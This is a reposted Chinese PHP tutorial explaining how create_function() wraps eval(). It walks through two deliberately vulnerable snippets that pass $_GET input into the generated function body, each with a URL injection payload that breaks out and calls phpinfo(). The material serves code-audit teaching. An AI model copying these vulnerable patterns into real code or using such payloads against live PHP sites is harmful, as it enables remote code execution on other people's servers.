create_function()简介
适用 PHP4>4.0.1 PHP 5 PHP7
语法:
create_function(string $args, string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分
函数功能
|
1
2
3
4
5
|
<?php$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');echo "New anonymous function: $newfunc\n";echo $newfunc(2, M_E) . "\n";?> |
![图片[1]-PHP create_function()函数应用实例详解-爱站](https://2zhan.com/wp-content/uploads/2023/03/2022100815330472.png)
分析:
create_function() 会创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。
create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置
因此,上述匿名函数的创建与执行过程等价于:
|
1
2
3
4
5
|
<?phpfunction lambda_1($a,$b){ return "ln($a) + ln($b) = " . log($a * $b);}?> |
create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷
代码注入实例
0x01
|
1
2
3
4
5
6
7
8
|
<?phperror_reporting(0);$sort_by = $_GET['sort_by'];$sorter = 'strnatcasecmp';$databases=array('1234','4321');$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';usort($databases, create_function('$a, $b', $sort_function));?> |
payload:
|
1
|
http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/* |
![图片[2]-PHP create_function()函数应用实例详解-爱站](https://2zhan.com/wp-content/uploads/2023/03/2022100815330473.png)
还原实际的组合过程:
|
1
|
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/* |
匿名函数实际的执行:
|
1
2
3
|
function niming($a,$b){return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*} |
$sort_by 是我们传入的值。
回车换行整理一下:
|
1
2
3
4
5
|
function niming($a,$b){return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*} |
0x02
|
1
2
3
4
5
6
7
|
<?php$c=$_GET['c'];$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");$array=array('reall long string here,boy','this','midding lenth','larget');usort($array,$lambda);print_r($array);?> |
payload:
|
1
|
http://localhost/test2.php?c=1));}phpinfo();/* |
![图片[3]-PHP create_function()函数应用实例详解-爱站](https://2zhan.com/wp-content/uploads/2023/03/2022100815330474.png)
还原实际的组合过程:
|
1
|
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));"); |
匿名函数实际的执行:
|
1
2
3
|
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));} |
换行整理:
|
1
2
3
4
5
6
|
function ft($a,$b){ return (strlen($a)-strlen($b)+" . "strlen(1)); } phpinfo(); /*));} |
原文链接:https://blog.csdn.net/snowlyzz/article/details/127171931
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END















暂无评论内容